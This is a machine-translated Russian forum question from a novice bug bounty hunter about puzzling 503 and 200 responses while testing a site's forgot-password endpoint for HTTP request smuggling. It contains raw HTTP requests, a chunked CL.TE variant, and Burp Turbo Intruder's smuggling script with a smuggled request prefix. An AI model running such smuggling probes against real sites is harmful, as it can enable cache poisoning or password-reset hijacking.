Странный ответ при использовании Turbo Intruder - PullRequest
0 голосов
/ 13 февраля 2020

Я охотник за головами жуков и просто новичок в этом. Несколько дней go я читал об уязвимости , связанной с контрабандой . И только после этого я начал находить его на Inte rnet. Вчера я нашел веб-сайт, который, когда я добавляю X-Forwarded-Host: google.com в заголовок, перенаправляет меня на https://www.google.com. Это очень трудно использовать, поэтому я подумал о том, чтобы объединить это с запросом контрабанды . Я выбираю запрос на изменение пароля в качестве цели:

POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1

email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3

Я преобразую его в чанк:

POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked

6b
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3



0

Но когда я отправил его, он дал мне код 503 client read error. Похоже, он не принимает chunked . Но я все еще хочу продолжить, поэтому я загружаю расширения HTTP Request Smuggler и Turbo Intruder в Burp Suite. Затем я делаю контрабандную атаку (CL.TE) . Он дает атаку контрабанды python код:

# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):

    # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    # This will prefix the victim's request. Edit it to achieve the desired effect.
    prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''

    # The request engine will auto-fix the content-length for us
    attack = target.req + prefix
    engine.queue(attack)

    victim = target.req
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)

Затем я запускаю его, используя Turbo Intruder . И я был очень удивлен, он отправил 14 запросов, но только 12 запросов 503 и 2 слева 200. Специально, в заголовке ответа 200 он имеет ...transfer-encoding: chunked.... Я пытался несколько раз, и он просто дал тот же результат: 1 или 2 запроса 200. Но что-то странное здесь, в коде, это ...prefix = '''GET /hopefully404 HTTP/1.1 X-Ignore: X'''.... После нескольких тестов я думаю, что это не ошибка контрабанды запроса, потому что ответ показал, что это ответ исходного запроса, а не prefix в коде (я тоже пытался изменить prefix, и он все еще 200, а не 400, 404, ... как я и ожидал).

Так есть ли кто-нибудь (должен быть очень профессиональный хакер), который знает, с какой уязвимостью я сталкиваюсь? Спасибо!

...